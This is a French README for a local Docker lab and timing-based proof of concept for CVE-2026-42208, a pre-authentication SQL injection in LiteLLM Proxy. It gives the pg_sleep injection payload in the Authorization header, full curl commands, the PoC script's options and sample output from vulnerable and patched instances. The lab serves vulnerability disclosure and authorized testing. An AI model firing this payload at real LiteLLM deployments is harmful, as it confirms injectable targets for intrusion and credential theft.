
Lab Docker local et preuve de concept basée sur le timing pour CVE-2026-42208, une injection SQL pré-authentification dans LiteLLM Proxy, démontrant les instances vulnérables par rapport aux instances corrigées.
Laboratoire Docker local et PoC à impact minimal pour CVE-2026-42208, une vulnérabilité d'injection SQL pré-authentification dans le chemin de vérification des clés API du proxy LiteLLM.
Ce dépôt démontre la différence entre une instance LiteLLM vulnérable et une instance LiteLLM corrigée à l'aide d'une preuve temporelle PostgreSQL pg_sleep().
Périmètre : laboratoire local / tests autorisés uniquement. Le PoC par défaut ne vide pas les données de la base et ne modifie pas les données de la base.
CVE-2026-42208 affecte les versions 1.81.16 à 1.83.7 (exclue) du proxy LiteLLM.
La vulnérabilité est déclenchée via un en-tête Authorization: Bearer ... forgé envoyé à un point de terminaison API LiteLLM. Dans les versions affectées, le jeton fourni par l'appelant peut atteindre un chemin de requête SQL lors de la vérification de la clé API.
Ce laboratoire compare :
| Service | Version | URL | Résultat attendu |
|---|
vuln | v1.83.6-nightly | http://127.0.0.1:8081 | réponse 401 retardée |
patched | v1.83.7-stable | http://127.0.0.1:8082 | réponse 401 rapide |
La preuve utilise une charge utile similaire à :
' OR (SELECT pg_sleep(6)) IS NULL --
Les deux services doivent renvoyer un HTTP 401, mais l'instance vulnérable doit prendre environ 6 secondes pour répondre tandis que l'instance corrigée doit répondre rapidement.
.
├── docker-compose.yml
├── vuln/
│ ├── Dockerfile
│ └── config.yaml
├── patched/
│ ├── Dockerfile
│ └── config.yaml
├── poc/
│ └── poc.py
├── README.md
└── .gitignore
localhost:8081 -> LiteLLM vulnérable -> PostgreSQL db-vuln
localhost:8082 -> LiteLLM corrigé -> PostgreSQL db-patched
Les services PostgreSQL sont des services Docker internes et ne sont pas exposés à l'hôte.
Seuls les ports HTTP LiteLLM sont exposés :
| Port hôte | Service | Port conteneur |
|---|---|---|
8081 | LiteLLM vulnérable | 4000 |
8082 | LiteLLM corrigé | 4000 |
docker compose up -d --build
Vérifier l'état des services :
docker compose ps
État attendu :
db-vuln healthy
db-patched healthy
vuln healthy
patched healthy
Tester l'instance vulnérable :
python3 poc/poc.py --url http://127.0.0.1:8081
Tester l'instance corrigée :
python3 poc/poc.py --url http://127.0.0.1:8082
--url URL de base cible
--path Chemin API à tester. Défaut : /v1/chat/completions
--sleep Secondes pour pg_sleep(). Défaut : 6
--rounds Nombre de cycles de sondes. Défaut : 2
Exemples :
python3 poc/poc.py --url http://127.0.0.1:8081 --sleep 3 --rounds 2
python3 poc/poc.py --url http://127.0.0.1:8081 --path /chat/completions
Instance vulnérable :
[*] target=http://127.0.0.1:8081
[*] path=/v1/chat/completions
[*] sleep=6
[*] rounds=2
[*] Running baseline request
[baseline] status=401 elapsed=0.041s body='...'
[*] Running timing probes
[probe] round=1 status=401 elapsed=6.048s body='...'
[probe] round=2 status=401 elapsed=6.033s body='...'
[*] Verdict
baseline=0.041s
probe_median=6.040s
delta=5.999s
result=LIKELY VULNERABLE
reason=crafted Authorization header caused a timing delay consistent with SQL evaluation
Instance corrigée :
[*] target=http://127.0.0.1:8082
[*] path=/v1/chat/completions
[*] sleep=6
[*] rounds=2
[*] Running baseline request
[baseline] status=401 elapsed=0.025s body='...'
[*] Running timing probes
[probe] round=1 status=401 elapsed=0.030s body='...'
[probe] round=2 status=401 elapsed=0.013s body='...'
[*] Verdict
baseline=0.025s
probe_median=0.021s
delta=-0.004s
result=LIKELY PATCHED_OR_NOT_TRIGGERED
reason=no meaningful timing difference observed
Exemple de résultat de ce laboratoire :
[probe] vuln round=1 status=401 elapsed=6.048s
[probe] vuln round=2 status=401 elapsed=6.033s
[probe] patched round=1 status=401 elapsed=0.030s
[probe] patched round=2 status=401 elapsed=0.013s
vuln: LIKELY VULNERABLE timing median=6.040s
patched: LIKELY PATCHED/NOT TRIGGERED timing median=0.021s
L'observation importante est que les deux services renvoient 401, mais seul le service vulnérable retarde d'environ la durée de pg_sleep().
Ce dépôt utilise une preuve temporelle car elle est plus sûre que l'extraction de données.
Le PoC prouve que l'expression SQL injectée est évaluée en observant le délai de réponse. Il ne tente pas de vider les lignes de la base, d'extraire des clés API, de modifier des enregistrements ou de contourner l'authentification.
Service vulnérable :
time curl -sS -o /dev/null -w '%{http_code}\n' \
-X POST http://127.0.0.1:8081/v1/chat/completions \
-H "Authorization: Bearer ' OR (SELECT pg_sleep(6)) IS NULL --" \
-H "Content-Type: application/json" \
-d '{"model":"local-dummy","messages":[{"role":"user","content":"x"}]}'
Service corrigé :
time curl -sS -o /dev/null -w '%{http_code}\n' \
-X POST http://127.0.0.1:8082/v1/chat/completions \
-H "Authorization: Bearer ' OR (SELECT pg_sleep(6)) IS NULL --" \
-H "Content-Type: application/json" \
-d '{"model":"local-dummy","messages":[{"role":"user","content":"x"}]}'
Comportement attendu :
vulnérable -> environ 6 secondes
corrigé -> réponse quasi immédiate
docker compose down -v
Cela supprime les conteneurs, le réseau et les volumes PostgreSQL.
Ce laboratoire est destiné aux tests locaux et autorisés uniquement.
N'exécutez pas le PoC contre des systèmes que vous ne possédez pas ou pour lesquels vous n'avez pas l'autorisation de tester.
N'utilisez pas de véritables clés API de fournisseur ni d'identifiants LiteLLM de production dans ce laboratoire.
Le PoC par défaut évite tout comportement destructeur et n'extrait pas le contenu de la base.